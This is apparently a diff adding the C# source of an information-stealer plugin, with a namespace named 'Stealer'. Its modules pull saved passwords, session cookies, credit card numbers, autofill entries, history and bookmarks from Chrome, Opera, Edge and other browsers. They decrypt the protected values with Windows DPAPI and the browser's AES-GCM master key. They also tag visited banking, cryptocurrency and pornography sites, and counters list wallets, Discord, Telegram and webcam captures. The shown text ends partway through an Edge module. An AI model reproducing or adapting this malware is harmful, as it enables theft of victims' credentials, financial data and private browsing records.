+  <ItemGroup>
+    <None Include="ILMerge.props" />
+    <None Include="packages.config" />
+  </ItemGroup>
+  <ItemGroup>
+    <Content Include="ILMergeOrder.txt" />
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+  <Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
+    <PropertyGroup>
+      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
+    </PropertyGroup>
+    <Error Condition="!Exists('..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
+    <Error Condition="!Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />
+    <Error Condition="!Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets'))" />
+    <Error Condition="!Exists('..\..\..\packages\ILMerge.3.0.41\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\ILMerge.3.0.41\build\ILMerge.props'))" />
+  </Target>
+  <Import Project="..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets" Condition="Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" />
+</Project>

Plugins/Recovery/Recovery/Stealer/AutoFill.cs

@@ -0,0 +1,12 @@
+using System;
+
+namespace Stealer
+{
+	// Token: 0x02000019 RID: 25
+	public class AutoFill : Item
+	{
+		public string sName;
+
+		public string sValue;
+	}
+}

Plugins/Recovery/Recovery/Stealer/Banking.cs

@@ -0,0 +1,174 @@
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Text.RegularExpressions;
+
+namespace Stealer
+{
+	internal sealed class Banking
+	{
+		private static Dictionary<string, Regex> CreditCardTypes = new Dictionary<string, Regex>
+	{
+		{
+			"Amex Card",
+			new Regex("^3[47][0-9]{13}$")
+		},
+		{
+			"BCGlobal",
+			new Regex("^(6541|6556)[0-9]{12}$")
+		},
+		{
+			"Carte Blanche Card",
+			new Regex("^389[0-9]{11}$")
+		},
+		{
+			"Diners Club Card",
+			new Regex("^3(?:0[0-5]|[68][0-9])[0-9]{11}$")
+		},
+		{
+			"Discover Card",
+			new Regex("6(?:011|5[0-9]{2})[0-9]{12}$")
+		},
+		{
+			"Insta Payment Card",
+			new Regex("^63[7-9][0-9]{13}$")
+		},
+		{
+			"JCB Card",
+			new Regex("^(?:2131|1800|35\\\\d{3})\\\\d{11}$")
+		},
+		{
+			"KoreanLocalCard",
+			new Regex("^9[0-9]{15}$")
+		},
+		{
+			"Laser Card",
+			new Regex("^(6304|6706|6709|6771)[0-9]{12,15}$")
+		},
+		{
+			"Maestro Card",
+			new Regex("^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$")
+		},
+		{
+			"Mastercard",
+			new Regex("5[1-5][0-9]{14}$")
+		},
+		{
+			"Solo Card",
+			new Regex("^(6334|6767)[0-9]{12}|(6334|6767)[0-9]{14}|(6334|6767)[0-9]{15}$")
+		},
+		{
+			"Switch Card",
+			new Regex("^(4903|4905|4911|4936|6333|6759)[0-9]{12}|(4903|4905|4911|4936|6333|6759)[0-9]{14}|(4903|4905|4911|4936|6333|6759)[0-9]{15}|564182[0-9]{10}|564182[0-9]{12}|564182[0-9]{13}|633110[0-9]{10}|633110[0-9]{12}|633110[0-9]{13}$")
+		},
+		{
+			"Union Pay Card",
+			new Regex("^(62[0-9]{14,17})$")
+		},
+		{
+			"Visa Card",
+			new Regex("4[0-9]{12}(?:[0-9]{3})?$")
+		},
+		{
+			"Visa Master Card",
+			new Regex("^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$")
+		},
+		{
+			"Express Card",
+			new Regex("3[47][0-9]{13}$")
+		}
+	};
+
+		private static bool AppendValue(string value, List<string> domains)
+		{
+			string text = value.Replace("www.", "").ToLower();
+			if (text.Contains("google") || text.Contains("bing") || text.Contains("yandex") || text.Contains("duckduckgo"))
+			{
+				return false;
+			}
+			if (text.StartsWith("."))
+			{
+				text = text.Substring(1);
+			}
+			try
+			{
+				text = new Uri(text).Host;
+			}
+			catch (UriFormatException)
+			{
+			}
+			text = Path.GetFileNameWithoutExtension(text);
+			text = text.Replace(".com", "").Replace(".org", "");
+			foreach (string domain in domains)
+			{
+				if (text.ToLower().Replace(" ", "").Contains(domain.ToLower().Replace(" ", "")))
+				{
+					return false;
+				}
+			}
+			text = CultureInfo.CurrentCulture.TextInfo.ToTitleCase(text);
+			domains.Add(text);
+			return true;
+		}
+
+		private static void DetectCryptocurrencyServices(string value)
+		{
+			string[] cryptoServices = Config.CryptoServices;
+			foreach (string value2 in cryptoServices)
+			{
+				if (value.ToLower().Contains(value2) && value.Length < 25 && AppendValue(value, Counter.DetectedCryptoServices))
+				{
+					Counter.CryptoServices = true;
+					break;
+				}
+			}
+		}
+
+		private static void DetectBankingServices(string value)
+		{
+			string[] bankingServices = Config.BankingServices;
+			foreach (string value2 in bankingServices)
+			{
+				if (value.ToLower().Contains(value2) && value.Length < 25 && AppendValue(value, Counter.DetectedBankingServices))
+				{
+					Counter.BankingServices = true;
+					break;
+				}
+			}
+		}
+
+		private static void DetectPornServices(string value)
+		{
+			string[] pornServices = Config.PornServices;
+			foreach (string value2 in pornServices)
+			{
+				if (value.ToLower().Contains(value2) && value.Length < 25 && AppendValue(value, Counter.DetectedPornServices))
+				{
+					Counter.PornServices = true;
+					break;
+				}
+			}
+		}
+
+		public static void ScanData(string value)
+		{
+			DetectBankingServices(value);
+			DetectCryptocurrencyServices(value);
+			DetectPornServices(value);
+		}
+
+		public static string DetectCreditCardType(string number)
+		{
+			foreach (KeyValuePair<string, Regex> creditCardType in CreditCardTypes)
+			{
+				if (creditCardType.Value.Match(number.Replace(" ", "")).Success)
+				{
+					return creditCardType.Key;
+				}
+			}
+			return "Unknown";
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Bookmark.cs

@@ -0,0 +1,12 @@
+using System;
+
+namespace Stealer
+{
+	public class Bookmark : Item
+	{
+		public string sUrl { get; set; }
+
+		public string sTitle { get; set; }
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Browser.cs

@@ -0,0 +1,83 @@
+using System;
+using System.Collections.Generic;
+using Stealer.Chromium;
+using Stealer.Edge;
+using Stealer.Firefox;
+using Stealer.InternetExplorer;
+
+namespace Stealer
+{
+	internal class Browser
+	{
+		public string type = "";
+
+		public List<CreditCard> pCreditCards = new List<CreditCard>();
+
+		public List<Password> pPasswords = new List<Password>();
+
+		public List<Cookie> pCookies = new List<Cookie>();
+
+		public List<Site> pHistory = new List<Site>();
+
+		public List<AutoFill> pAutoFill = new List<AutoFill>();
+
+		public List<Bookmark> pBookmarks = new List<Bookmark>();
+
+		public Browser()
+		{
+			Load();
+		}
+
+		public static Browser Create(BrowserType _tp)
+		{
+			Browser result = null;
+			switch (_tp)
+			{
+				case BrowserType.CHROME:
+					result = new Stealer.Chromium.Recovery();
+					break;
+				case BrowserType.FIREFOX:
+					result = new Stealer.Firefox.Recovery();
+					break;
+				case BrowserType.EDGE:
+					result = new Stealer.Edge.Recovery();
+					break;
+				case BrowserType.IE:
+					result = new Stealer.InternetExplorer.Recovery();
+					break;
+			}
+			return result;
+		}
+
+		public static BrsInfo GetAllInfo()
+		{
+			BrsInfo brsInfo = new BrsInfo();
+			List<Browser> list = new List<Browser>();
+			list.Add(Create(BrowserType.CHROME));
+			list.Add(Create(BrowserType.FIREFOX));
+			list.Add(Create(BrowserType.EDGE));
+			list.Add(Create(BrowserType.IE));
+			foreach (Browser item in list)
+			{
+				brsInfo.listps.AddRange(item.pPasswords);
+				brsInfo.listcookie.AddRange(item.pCookies);
+				brsInfo.listhist.AddRange(item.pHistory);
+				brsInfo.listbmark.AddRange(item.pBookmarks);
+				brsInfo.listautofill.AddRange(item.pAutoFill);
+				brsInfo.listcredit.AddRange(item.pCreditCards);
+			}
+			return brsInfo;
+		}
+
+		protected virtual void Load()
+		{
+			pCreditCards.Clear();
+			pPasswords.Clear();
+			pCookies.Clear();
+			pHistory.Clear();
+			pAutoFill.Clear();
+			pBookmarks.Clear();
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/BrowserType.cs

@@ -0,0 +1,14 @@
+using System;
+
+namespace Stealer
+{
+	// Token: 0x02000007 RID: 7
+	internal enum BrowserType
+	{
+		CHROME,
+		FIREFOX,
+		EDGE,
+		IE
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/BrsInfo.cs

@@ -0,0 +1,27 @@
+using System;
+using System.Collections.Generic;
+
+namespace Stealer
+{
+	public class BrsInfo
+	{
+		public List<Password> listps { get; set; } = new List<Password>();
+
+
+		public List<Cookie> listcookie { get; set; } = new List<Cookie>();
+
+
+		public List<Site> listhist { get; set; } = new List<Site>();
+
+
+		public List<Bookmark> listbmark { get; set; } = new List<Bookmark>();
+
+
+		public List<AutoFill> listautofill { get; set; } = new List<AutoFill>();
+
+
+		public List<CreditCard> listcredit { get; set; } = new List<CreditCard>();
+
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/BrsType.cs

@@ -0,0 +1,15 @@
+using System;
+
+namespace Stealer
+{
+	public class BrsType
+	{
+		public const string Chrome = "Chrome";
+
+		public const string Firefox = "Firefox";
+
+		public const string IE = "IE";
+
+		public const string Edge = "Edge";
+	}
+}

Plugins/Recovery/Recovery/Stealer/Chromium/Autofill.cs

@@ -0,0 +1,35 @@
+using System;
+using System.Collections.Generic;
+
+namespace Stealer.Chromium
+{
+	internal sealed class Autofill
+	{
+		public static List<AutoFill> Get(string sWebData)
+		{
+			try
+			{
+				List<AutoFill> list = new List<AutoFill>();
+				SQLite sQLite = SqlReader.ReadTable(sWebData, "autofill");
+				if (sQLite == null)
+				{
+					return list;
+				}
+				for (int i = 0; i < sQLite.GetRowCount(); i++)
+				{
+					AutoFill autoFill = new AutoFill();
+					autoFill.sName = Crypto.GetUTF8(sQLite.GetValue(i, 0));
+					autoFill.sValue = Crypto.GetUTF8(sQLite.GetValue(i, 1));
+					Counter.AutoFill++;
+					list.Add(autoFill);
+				}
+				return list;
+			}
+			catch
+			{
+				return new List<AutoFill>();
+			}
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Chromium/Bookmarks.cs

@@ -0,0 +1,62 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+using System.Text.RegularExpressions;
+
+namespace Stealer.Chromium
+{
+	internal sealed class Bookmarks
+	{
+		public static List<Bookmark> Get(string sBookmarks)
+		{
+			try
+			{
+				List<Bookmark> list = new List<Bookmark>();
+				if (!File.Exists(sBookmarks))
+				{
+					return list;
+				}
+				string input = File.ReadAllText(sBookmarks, Encoding.UTF8);
+				input = Regex.Split(input, "      \"bookmark_bar\": {")[1];
+				input = Regex.Split(input, "      \"other\": {")[0];
+				string[] array = Regex.Split(input, "},");
+				string[] array2 = array;
+				foreach (string text in array2)
+				{
+					if (!text.Contains("\"name\": \"") || !text.Contains("\"type\": \"url\",") || !text.Contains("\"url\": \"http"))
+					{
+						continue;
+					}
+					int num = 0;
+					string[] array3 = Regex.Split(text, Parser.separator);
+					foreach (string data in array3)
+					{
+						num++;
+						Bookmark bookmark = new Bookmark
+						{
+							type = "Chrome"
+						};
+						if (Parser.DetectTitle(data))
+						{
+							bookmark.sTitle = Parser.Get(text, num);
+							bookmark.sUrl = Parser.Get(text, num + 2);
+							if (!string.IsNullOrEmpty(bookmark.sTitle) && !string.IsNullOrEmpty(bookmark.sUrl) && !bookmark.sUrl.Contains("Failed to parse url"))
+							{
+								Banking.ScanData(bookmark.sUrl);
+								Counter.Bookmarks++;
+								list.Add(bookmark);
+							}
+						}
+					}
+				}
+				return list;
+			}
+			catch
+			{
+				return new List<Bookmark>();
+			}
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Chromium/Cookies.cs

@@ -0,0 +1,53 @@
+using System;
+using System.Collections.Generic;
+
+namespace Stealer.Chromium
+{
+	// Token: 0x02000042 RID: 66
+	internal sealed class Cookies
+	{
+		public static List<Cookie> Get(string sCookie)
+		{
+			try
+			{
+				List<Cookie> list = new List<Cookie>();
+				SQLite sQLite = SqlReader.ReadTable(sCookie, "cookies");
+				if (sQLite == null)
+				{
+					return list;
+				}
+				for (int i = 0; i < sQLite.GetRowCount(); i++)
+				{
+					Cookie cookie = new Cookie
+					{
+						type = "Chrome"
+					};
+					cookie.domain = Crypto.GetUTF8(sQLite.GetValue(i, 1));
+					cookie.expirationDate = Convert.ToDouble(sQLite.GetValue(i, 7)) / 1000000.0;
+					cookie.httpOnly = Crypto.GetUTF8(sQLite.GetValue(i, 9)) == "1";
+					cookie.name = Crypto.GetUTF8(sQLite.GetValue(i, 3));
+					cookie.path = Crypto.GetUTF8(sQLite.GetValue(i, 6));
+					try
+					{
+						int num = Convert.ToInt32(Crypto.GetUTF8(sQLite.GetValue(i, 14)));
+						cookie.sameSite = Consts.SAMESITES[num];
+					}
+					catch
+					{
+					}
+					cookie.secure = Crypto.GetUTF8(sQLite.GetValue(i, 8)) == "1";
+					cookie.value = Crypto.GetUTF8(Crypto.EasyDecrypt(sCookie, sQLite.GetValue(i, 5), isCookie: true));
+					Banking.ScanData(cookie.domain);
+					Counter.Cookies++;
+					list.Add(cookie);
+				}
+				return list;
+			}
+			catch
+			{
+				return new List<Cookie>();
+			}
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Chromium/CreditCards.cs

@@ -0,0 +1,39 @@
+using System;
+using System.Collections.Generic;
+
+namespace Stealer.Chromium
+{
+	internal sealed class CreditCards
+	{
+		public static List<CreditCard> Get(string sWebData)
+		{
+			try
+			{
+				List<CreditCard> list = new List<CreditCard>();
+				SQLite sQLite = SqlReader.ReadTable(sWebData, "credit_cards");
+				if (sQLite == null)
+				{
+					return list;
+				}
+				for (int i = 0; i < sQLite.GetRowCount(); i++)
+				{
+					CreditCard creditCard = new CreditCard
+					{
+						type = "Chrome"
+					};
+					creditCard.sNumber = Crypto.GetUTF8(Crypto.EasyDecrypt(sWebData, sQLite.GetValue(i, 4)));
+					creditCard.sExpYear = Crypto.GetUTF8(sQLite.GetValue(i, 3));
+					creditCard.sExpMonth = Crypto.GetUTF8(sQLite.GetValue(i, 2));
+					creditCard.sName = Crypto.GetUTF8(sQLite.GetValue(i, 1));
+					Counter.CreditCards++;
+					list.Add(creditCard);
+				}
+				return list;
+			}
+			catch
+			{
+				return new List<CreditCard>();
+			}
+		}
+	}
+}

Plugins/Recovery/Recovery/Stealer/Chromium/Crypto.cs

@@ -0,0 +1,199 @@
+using System;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Text.RegularExpressions;
+
+namespace Stealer.Chromium
+{
+	internal sealed class Crypto
+	{
+		[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
+		private struct CryptprotectPromptstruct
+		{
+			public int cbSize;
+
+			public int dwPromptFlags;
+
+			public IntPtr hwndApp;
+
+			public string szPrompt;
+		}
+
+		[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
+		private struct DataBlob
+		{
+			public int cbData;
+
+			public IntPtr pbData;
+		}
+
+		private static string sPrevBrowserPath = "";
+
+		private static byte[] sPrevMasterKey = new byte[0];
+
+		[DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
+		private static extern bool CryptUnprotectData(ref DataBlob pCipherText, ref string pszDescription, ref DataBlob pEntropy, IntPtr pReserved, ref CryptprotectPromptstruct pPrompt, int dwFlags, ref DataBlob pPlainText);
+
+		public static byte[] DPAPIDecrypt(byte[] bCipher, byte[] bEntropy = null)
+		{
+			DataBlob pPlainText = default(DataBlob);
+			DataBlob pCipherText = default(DataBlob);
+			DataBlob pEntropy = default(DataBlob);
+			CryptprotectPromptstruct cryptprotectPromptstruct = default(CryptprotectPromptstruct);
+			cryptprotectPromptstruct.cbSize = Marshal.SizeOf(typeof(CryptprotectPromptstruct));
+			cryptprotectPromptstruct.dwPromptFlags = 0;
+			cryptprotectPromptstruct.hwndApp = IntPtr.Zero;
+			cryptprotectPromptstruct.szPrompt = null;
+			CryptprotectPromptstruct pPrompt = cryptprotectPromptstruct;
+			string pszDescription = string.Empty;
+			try
+			{
+				try
+				{
+					if (bCipher == null)
+					{
+						bCipher = new byte[0];
+					}
+					pCipherText.pbData = Marshal.AllocHGlobal(bCipher.Length);
+					pCipherText.cbData = bCipher.Length;
+					Marshal.Copy(bCipher, 0, pCipherText.pbData, bCipher.Length);
+				}
+				catch
+				{
+				}
+				try
+				{
+					if (bEntropy == null)
+					{
+						bEntropy = new byte[0];
+					}
+					pEntropy.pbData = Marshal.AllocHGlobal(bEntropy.Length);
+					pEntropy.cbData = bEntropy.Length;
+					Marshal.Copy(bEntropy, 0, pEntropy.pbData, bEntropy.Length);
+				}
+				catch
+				{
+				}
+				CryptUnprotectData(ref pCipherText, ref pszDescription, ref pEntropy, IntPtr.Zero, ref pPrompt, 1, ref pPlainText);
+				byte[] array = new byte[pPlainText.cbData];
+				Marshal.Copy(pPlainText.pbData, array, 0, pPlainText.cbData);
+				return array;
+			}
+			catch
+			{
+			}
+			finally
+			{
+				if (pPlainText.pbData != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(pPlainText.pbData);
+				}
+				if (pCipherText.pbData != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(pCipherText.pbData);
+				}
+				if (pEntropy.pbData != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(pEntropy.pbData);
+				}
+			}
+			return new byte[0];
+		}
+
+		public static byte[] GetMasterKey(string sLocalStateFolder)
+		{
+			string text = sLocalStateFolder;
+			text = ((!text.Contains("Opera")) ? (text + "\\Local State") : (text + "\\Opera Stable\\Local State"));
+			byte[] array = new byte[0];
+			if (!File.Exists(text))
+			{
+				return null;
+			}
+			if (text != sPrevBrowserPath)
+			{
+				sPrevBrowserPath = text;
+				MatchCollection matchCollection = new Regex("\"encrypted_key\":\"(.*?)\"", RegexOptions.Compiled).Matches(File.ReadAllText(text));
+				foreach (Match item in matchCollection)
+				{
+					if (item.Success)
+					{
+						array = Convert.FromBase64String(item.Groups[1].Value);
+					}
+				}
+				byte[] array2 = new byte[array.Length - 5];
+				Array.Copy(array, 5, array2, 0, array.Length - 5);
+				try
+				{
+					sPrevMasterKey = DPAPIDecrypt(array2);
+					return sPrevMasterKey;
+				}
+				catch
+				{
+					return null;
+				}
+			}
+			return sPrevMasterKey;
+		}
+
+		public static string GetUTF8(string sNonUtf8)
+		{
+			try
+			{
+				byte[] bytes = Encoding.Default.GetBytes(sNonUtf8);
+				return Encoding.UTF8.GetString(bytes);
+			}
+			catch
+			{
+				return sNonUtf8;
+			}
+		}
+
+		public static byte[] DecryptWithKey(byte[] bEncryptedData, byte[] bMasterKey)
+		{
+			byte[] array = new byte[12];
+			Array.Copy(bEncryptedData, 3, array, 0, 12);
+			try
+			{
+				byte[] array2 = new byte[bEncryptedData.Length - 15];
+				Array.Copy(bEncryptedData, 15, array2, 0, bEncryptedData.Length - 15);
+				byte[] array3 = new byte[16];
+				byte[] array4 = new byte[array2.Length - array3.Length];
+				Array.Copy(array2, array2.Length - 16, array3, 0, 16);
+				Array.Copy(array2, 0, array4, 0, array2.Length - array3.Length);
+				cAesGcm cAesGcm = new cAesGcm();
+				return cAesGcm.Decrypt(bMasterKey, array, null, array4, array3);
+			}
+			catch (Exception value)
+			{
+				Console.WriteLine(value);
+				return null;
+			}
+		}
+
+		public static string EasyDecrypt(string sLoginData, string sPassword, bool isCookie = false)
+		{
+			if (sPassword.StartsWith("v10") || sPassword.StartsWith("v11"))
+			{
+				string fullName = Directory.GetParent(sLoginData).Parent.FullName;
+				if (isCookie)
+				{
+					fullName = Directory.GetParent(fullName).FullName;
+				}
+				byte[] masterKey = GetMasterKey(fullName);
+				return Encoding.Default.GetString(DecryptWithKey(Encoding.Default.GetBytes(sPassword), masterKey));
+			}
+			return Encoding.Default.GetString(DPAPIDecrypt(Encoding.Default.GetBytes(sPassword)));
+		}
+
+		public static string BrowserPathToAppName(string sLoginData)
+		{
+			if (sLoginData.Contains("Opera"))
+			{
+				return "Opera";
+			}
+			sLoginData.Replace(Paths.lappdata, "");
+			return sLoginData.Split('\\')[1];
+		}
+	}
+}

Plugins/Recovery/Recovery/Stealer/Chromium/Downloads.cs

@@ -0,0 +1,38 @@
+using System;
+using System.Collections.Generic;
+
+namespace Stealer.Chromium
+{
+	internal sealed class Downloads
+	{
+		public static List<Site> Get(string sHistory)
+		{
+			try
+			{
+				List<Site> list = new List<Site>();
+				SQLite sQLite = SqlReader.ReadTable(sHistory, "downloads");
+				if (sQLite == null)
+				{
+					return list;
+				}
+				for (int i = 0; i < sQLite.GetRowCount(); i++)
+				{
+					Site site = new Site
+					{
+						type = "Chrome"
+					};
+					site.sTitle = Crypto.GetUTF8(sQLite.GetValue(i, 2));
+					site.sUrl = Crypto.GetUTF8(sQLite.GetValue(i, 17));
+					Banking.ScanData(site.sUrl);
+					Counter.Downloads++;
+					list.Add(site);
+				}
+				return list;
+			}
+			catch
+			{
+				return new List<Site>();
+			}
+		}
+	}
+}

Plugins/Recovery/Recovery/Stealer/Chromium/History.cs

@@ -0,0 +1,40 @@
+using System;
+using System.Collections.Generic;
+
+namespace Stealer.Chromium
+{
+	internal sealed class History
+	{
+		public static List<Site> Get(string sHistory)
+		{
+			try
+			{
+				List<Site> list = new List<Site>();
+				SQLite sQLite = SqlReader.ReadTable(sHistory, "urls");
+				if (sQLite == null)
+				{
+					return list;
+				}
+				for (int i = 0; i < sQLite.GetRowCount(); i++)
+				{
+					Site site = new Site
+					{
+						type = "Chrome"
+					};
+					site.sTitle = Crypto.GetUTF8(sQLite.GetValue(i, 2));
+					site.sUrl = Crypto.GetUTF8(sQLite.GetValue(i, 1));
+					site.iCount = Convert.ToInt32(sQLite.GetValue(i, 3)) + 1;
+					Banking.ScanData(site.sUrl);
+					Counter.History++;
+					list.Add(site);
+				}
+				return list;
+			}
+			catch
+			{
+				return new List<Site>();
+			}
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Chromium/Parser.cs

@@ -0,0 +1,33 @@
+using System;
+using System.Text.RegularExpressions;
+
+namespace Stealer.Chromium
+{
+	internal sealed class Parser
+	{
+		public static string separator = "\": \"";
+
+		public static string RemoveLatest(string data)
+		{
+			return Regex.Split(Regex.Split(data, "\",")[0], "\"")[0];
+		}
+
+		public static bool DetectTitle(string data)
+		{
+			return data.Contains("\"name");
+		}
+
+		public static string Get(string data, int index)
+		{
+			try
+			{
+				return RemoveLatest(Regex.Split(data, separator)[index]);
+			}
+			catch (IndexOutOfRangeException)
+			{
+				return "Failed to parse url";
+			}
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Chromium/Passwords.cs

@@ -0,0 +1,46 @@
+using System;
+using System.Collections.Generic;
+
+namespace Stealer.Chromium
+{
+	internal sealed class Passwords
+	{
+		public static List<Password> Get(string sLoginData)
+		{
+			try
+			{
+				List<Password> list = new List<Password>();
+				SQLite sQLite = SqlReader.ReadTable(sLoginData, "logins");
+				if (sQLite == null)
+				{
+					return list;
+				}
+				for (int i = 0; i < sQLite.GetRowCount(); i++)
+				{
+					Password password = new Password
+					{
+						type = "Chrome"
+					};
+					password.sUrl = Crypto.GetUTF8(sQLite.GetValue(i, 0));
+					password.sUsername = Crypto.GetUTF8(sQLite.GetValue(i, 3));
+					string value = sQLite.GetValue(i, 5);
+					if (!string.IsNullOrEmpty(value))
+					{
+						password.sPassword = Crypto.GetUTF8(Crypto.EasyDecrypt(sLoginData, value));
+						if (!string.IsNullOrEmpty(password.sUsername))
+						{
+							list.Add(password);
+							Counter.Passwords++;
+						}
+					}
+				}
+				return list;
+			}
+			catch
+			{
+				return new List<Password>();
+			}
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Chromium/Recovery.cs

@@ -0,0 +1,52 @@
+using System;
+using System.IO;
+
+namespace Stealer.Chromium
+{
+	internal sealed class Recovery : Browser
+	{
+		public Recovery()
+		{
+			type = "Chrome";
+		}
+
+		protected override void Load()
+		{
+			base.Load();
+			string[] sChromiumPswPaths = Paths.sChromiumPswPaths;
+			foreach (string text in sChromiumPswPaths)
+			{
+				try
+				{
+					string text2 = ((!text.Contains("Opera Software")) ? (Paths.lappdata + text) : (Paths.appdata + text));
+					string text3 = text2 + "Default";
+					if (Directory.Exists(text3))
+					{
+						pCreditCards.AddRange(CreditCards.Get(text3 + "\\Web Data"));
+						pPasswords.AddRange(Passwords.Get(text3 + "\\Login Data"));
+						pCookies.AddRange(Cookies.Get(text3 + "\\Network\\Cookies"));
+						pHistory.AddRange(History.Get(text3 + "\\History"));
+						pAutoFill.AddRange(Autofill.Get(text3 + "\\Web Data"));
+						pBookmarks.AddRange(Bookmarks.Get(text3 + "\\Bookmarks"));
+					}
+					if (Directory.Exists(text2))
+					{
+						string[] directories = Directory.GetDirectories(text2, "Profile *");
+						foreach (string text4 in directories)
+						{
+							pCreditCards.AddRange(CreditCards.Get(text4 + "\\Web Data"));
+							pPasswords.AddRange(Passwords.Get(text4 + "\\Login Data"));
+							pCookies.AddRange(Cookies.Get(text4 + "\\Network\\Cookies"));
+							pHistory.AddRange(History.Get(text4 + "\\History"));
+							pAutoFill.AddRange(Autofill.Get(text4 + "\\Web Data"));
+							pBookmarks.AddRange(Bookmarks.Get(text4 + "\\Bookmarks"));
+						}
+					}
+				}
+				catch (Exception)
+				{
+				}
+			}
+		}
+	}
+}

Plugins/Recovery/Recovery/Stealer/Consts.cs

@@ -0,0 +1,9 @@
+using System;
+
+namespace Stealer
+{
+	public class Consts
+	{
+		public static string[] SAMESITES = new string[3] { "lax", "strict", "no_restriction" };
+	}
+}

Plugins/Recovery/Recovery/Stealer/Cookie.cs

@@ -0,0 +1,32 @@
+using System;
+
+namespace Stealer
+{
+	public class Cookie : Item
+	{
+		public string domain { get; set; }
+
+		public double expirationDate { get; set; }
+
+		public bool hostOnly { get; set; }
+
+		public bool httpOnly { get; set; }
+
+		public string name { get; set; }
+
+		public string path { get; set; }
+
+		public string sameSite { get; set; } = null;
+
+
+		public bool secure { get; set; }
+
+		public bool session { get; set; }
+
+		public string storeId { get; set; } = null;
+
+
+		public string value { get; set; }
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Counter.cs

@@ -0,0 +1,87 @@
+using System;
+using System.Collections.Generic;
+
+namespace Stealer
+{
+	internal sealed class Counter
+	{
+		public static int Passwords = 0;
+
+		public static int CreditCards = 0;
+
+		public static int AutoFill = 0;
+
+		public static int Cookies = 0;
+
+		public static int History = 0;
+
+		public static int Bookmarks = 0;
+
+		public static int Downloads = 0;
+
+		public static int VPN = 0;
+
+		public static int Pidgin = 0;
+
+		public static int Wallets = 0;
+
+		public static int FTPHosts = 0;
+
+		public static bool Telegram = false;
+
+		public static bool Steam = false;
+
+		public static bool Uplay = false;
+
+		public static bool Discord = false;
+
+		public static int SavedWifiNetworks = 0;
+
+		public static bool ProductKey = false;
+
+		public static bool DesktopScreenshot = false;
+
+		public static bool WebcamScreenshot = false;
+
+		public static int GrabberDocuments = 0;
+
+		public static int GrabberSourceCodes = 0;
+
+		public static int GrabberDatabases = 0;
+
+		public static int GrabberImages = 0;
+
+		public static bool BankingServices = false;
+
+		public static bool CryptoServices = false;
+
+		public static bool PornServices = false;
+
+		public static List<string> DetectedBankingServices = new List<string>();
+
+		public static List<string> DetectedCryptoServices = new List<string>();
+
+		public static List<string> DetectedPornServices = new List<string>();
+
+		public static string GetSValue(string application, bool value)
+		{
+			return value ? ("\r\n   ∟ " + application) : "";
+		}
+
+		public static string GetIValue(string application, int value)
+		{
+			return (value != 0) ? ("\r\n   ∟ " + application + ": " + value) : "";
+		}
+
+		public static string GetLValue(string application, List<string> value, char separator = '∟')
+		{
+			value.Sort();
+			return (value.Count != 0) ? ("\r\n   ∟ " + application + ":\r\n\t\t\t\t\t\t\t" + separator + " " + string.Join("\r\n\t\t\t\t\t\t\t" + separator + " ", value)) : ("\r\n   ∟ " + application + " (No data)");
+		}
+
+		public static string GetBValue(bool value, string success, string failed)
+		{
+			return value ? ("\r\n   ∟ " + success) : ("\r\n   ∟ " + failed);
+		}
+	}
+}

Plugins/Recovery/Recovery/Stealer/CreditCard.cs

@@ -0,0 +1,16 @@
+using System;
+
+namespace Stealer
+{
+	public class CreditCard : Item
+	{
+		public string sNumber { get; set; }
+
+		public string sExpYear { get; set; }
+
+		public string sExpMonth { get; set; }
+
+		public string sName { get; set; }
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Edge/Autofill.cs

@@ -0,0 +1,39 @@
+using System;
+using System.Collections.Generic;
+using Stealer.Chromium;
+
+namespace Stealer.Edge
+{
+	internal sealed class Autofill
+	{
+		public static List<AutoFill> Get(string sWebData)
+		{
+			try
+			{
+				List<AutoFill> list = new List<AutoFill>();
+				SQLite sQLite = SqlReader.ReadTable(sWebData, "autofill");
+				if (sQLite == null)
+				{
+					return list;
+				}
+				for (int i = 0; i < sQLite.GetRowCount(); i++)
+				{
+					AutoFill autoFill = new AutoFill
+					{
+						type = "Edge"
+					};
